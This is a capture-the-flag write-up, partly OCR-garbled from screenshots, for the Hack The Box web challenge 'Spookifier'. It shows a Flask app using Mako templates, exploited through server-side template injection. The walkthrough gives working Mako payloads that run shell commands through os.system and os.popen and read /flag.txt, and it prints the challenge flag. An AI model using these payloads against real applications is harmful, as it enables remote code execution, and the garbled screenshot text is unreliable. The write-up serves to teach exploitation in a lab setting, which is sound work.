Challenge Spookifier

We have this input where whatever we introduce we get their differents font styles:

3 Not Secure  94.237.57.194

[J 1A [3Llanguage Programs [(Oricing | (3 Correo and accounts [ Social Media [3J Portfolio [3J Nube (3 Shopping

§ Hame Spookiher g

Enter your new Halloween name here

Spookifty



af://h1-0

B3 Not Secure  94.237.57.194

1A [3Language Programs [Oricing | (3 Correo and accounts [ Social Media [ Portfolio (3 Mube [3Shopping (3

§ HMHame Spookifer g

Enter your new Halloween name here

fTes+

SpookiftTy




We can try a XSS Injecton
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It's worked, but this is not for this way.

If we check the web files we can affirm it's using MakoTemplates

>ls -l

drwxrwxrwx root root 4.0 KB Tue Nov 1 10:20:58 2022 [ application
Twxrwxrwx root root 101 B Tue Nov 1 09:38:18 2022 [ run.py

Y cat run.py

| File: run.py

| from application.main import app
2 |
3 | app.run(host="0.0.0.0', port=1337, debug=False, use evalex=False

> cat main.py

| File: main.py

| | from flask import Flask, jsonify

2 | from application.blueprints.routes import web




| from flask mako import MakoTemplates
| app = Flask(_ name

| MakoTemplates(app

| def response(message):

return jsonify({'message': message
app.register blueprint(web, url prefix="/"

@app.errorhandler(404
def not_found(error):

return response('404 Not Found'), 404

@app.errorhandler(403
def forbidden(error):

return response('403 Forbidden'), 403

@app.errorhandler(400

def bad_request(error):

return response('400 Bad Request'), 400

So let's try SSTI
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it does not work with this payload, let's try with:
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It worked. This is MakoTemplates so the next step is command injection:

${self.module.cache.util.os.system("id")}
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self mobdule cache wutil os spstem id
SELF modULE CACHE UL o5 S5¥5Sekem /3

=pir mBPuvir cacHr v¥ir 82 2u2¥Fpn 1P




At firts 1 was not able to see the output, that's why we have to replace os.system() with
os.popen().read()

$ {self.module.cache.util.os.popen('id").read()}
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self module cache util os popen id read
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Now we're able to see the output and we get the flag!

{self.module.cache.util.os.popen('cat /flag.txt").read()}
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self module cache util os popen cat Flag fxt read

SELF madULE CACHE ULL o5 PaPEM CAE FLAY EXE READ

=rir mBPuir cacHr v¥ii O pBepy a¥F rrac ¥x¥ ppab

HTB{t3impldt3_1nj3ctl1On_Can_3x1s1t5_4dnuywh3d 3t}




	Challenge Spookifier

